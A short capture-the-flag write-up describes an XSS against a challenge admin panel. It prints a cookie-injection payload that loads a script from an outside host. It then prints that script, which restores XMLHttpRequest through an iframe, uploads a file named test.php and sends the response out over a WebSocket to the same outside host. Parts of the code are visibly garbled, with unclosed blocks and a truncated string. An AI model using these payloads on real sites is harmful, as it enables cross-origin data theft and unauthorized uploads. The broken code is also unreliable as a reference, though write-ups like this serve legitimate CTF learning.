Tags: web xss 

Rating: 5.0

XSS in Admin interface have different Origins.
But share the same second level domain.
We see that admin interface echoes “username” cookie without escaping.
The attack idea - set username cookie to domain .government.vip; and redirect to admin interface.
<script>document.cookie='username=<script\ src="https:\/\/kyprizel.net\/pwn2.js"><\/script>; path=/; domain=.government.vip;'; window.top.location='http://admin.government.vip:8000';</script>
But there is a sandbox in admin interface.
First we tried to bypass it via WebSocket to exfiltrate the data and simple CSRF to submit the form.

Soon noticed that /upload only accepts content-type multipart/form-data and file upload.
As we can execute JS - we can create iframe and restore XMLHttpRequest from this iframe.

So pwn2.js content looks like:
document.write('<iframe src="/login" name="frfr" id="xxx"></iframe>');

var t = setTimeout(function(){

var data = {
file: '',

var boundary = String(Math.random()).slice(2);
var boundaryMiddle = '--' + boundary + '\r\n';
var boundaryLast = '--' + boundary + '--\r\n'

var body = ['\r\n'];
for (var key in data) {
body.push('Content-Disposition: form-data; name="' + key + '";filename="test.php"\r\nContent-Type: text/plain\r\n\r\n' + data[key] + '\r\n

body = body.join(boundaryMiddle) + boundaryLast;

window.XMLHttpRequest = document.getElementById('xxx').contentWindow.XMLHttpRequest;
var xhr = new XMLHttpRequest();
xhr.open('POST', '/upload', true);

xhr.setRequestHeader('Content-Type', 'multipart/form-data; boundary=' + boundary);

xhr.onreadystatechange = function() {
if (this.readyState != 4) return;
var wsUri = "wss://kyprizel.net/x?" + this.responseText;
websocket = new WebSocket(wsUri);


}, 1000);

No real shell, but we get flag ```flag{xss_is_fun_2333333}``` in response.